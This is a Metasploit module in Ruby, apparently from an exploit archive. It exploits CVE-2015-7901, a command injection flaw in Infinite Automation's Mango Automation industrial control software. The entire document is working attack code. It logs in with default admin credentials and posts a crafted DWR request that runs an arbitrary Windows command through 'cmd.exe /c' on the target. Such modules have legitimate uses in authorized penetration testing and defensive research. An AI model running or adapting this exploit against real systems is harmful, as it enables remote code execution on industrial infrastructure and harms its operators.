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Infinite Automation Mango Automation Command Injection

Posted on 15 September 2017

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Infinite Automation Mango Automation Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability found in Infinite
Automation Systems Mango Automation v2.5.0 - 2.6.0 beta (builds prior to
430).
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-7901' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02' ]
],
'DisclosureDate' => 'Oct 28 2015'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ false, 'Base path to Mango Automation', '/login.htm']),
OptString.new('CMD', [ false, 'The OS command to execute', 'calc.exe']),
OptString.new('USER', [true, 'The username to login with', 'admin']),
OptString.new('PASS', [true, 'The password to login with', 'admin']),
], self.class )
end

def do_login(user, pass)
uri = normalize_uri(target_uri.path)

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res.nil?
vprint_error("#{peer} - Connection timed out")
return :abort
end

cookie = res.headers['Set-Cookie']

print_status("Attempting to login with credentials '#{user}:#{pass}'")

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'username' => user,
'password' => pass,
}
})

if res.nil?
vprint_error("#{peer} - Connection timed out")
return :abort
end

location = res.headers['Location']
if res and res.headers and (location = res.headers['Location']) and location =~ /data_point_details.shtm/
print_good("#{peer} - Successful login: '#{user}:#{pass}'")
else
vprint_error("#{peer} - Bad login: '#{user}:#{pass}'")
return
end

return cookie

end

def run
cookie = do_login(datastore['USER'], datastore['PASS'])

data = "callCount=1&"
data << "page=%2Fevent_handlers.shtm&"
data << "httpSessionId=%0D%0A&"
data << "scriptSessionId=26D579040C1C11D2E21D1E5F321094E5866&"
data << "c0-scriptName=EventHandlersDwr&"
data << "c0-methodName=testProcessCommand&"
data << "c0-id=0&"
data << "c0-param0=string:c:\windows\system32\cmd.exe /c #{datastore['CMD']}&"
data << "c0-param1=string:15&"
data << "batchId=24"

res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri("dwr", "call", "plaincall", "EventHandlersDwr.testProcessCommand.dwr"),
'cookie' => cookie.split(";")[0],
'ctype' => "application/x-www-form-urlencoded",
'headers' => {
'Origin' => 'null',
'Upgrade-Insecure-Requests' => 1,
'Connection' => "keep-alive"
},
'data' => data,
}, 5)

if res.body =~ /org.directwebremoting.extend.MarshallException/
print_error("Something went wrong...")
puts res.body
elsif res.body =~ /Check your Tomcat console for process output/
print_good("Command executed successfully")
end

end
end

 

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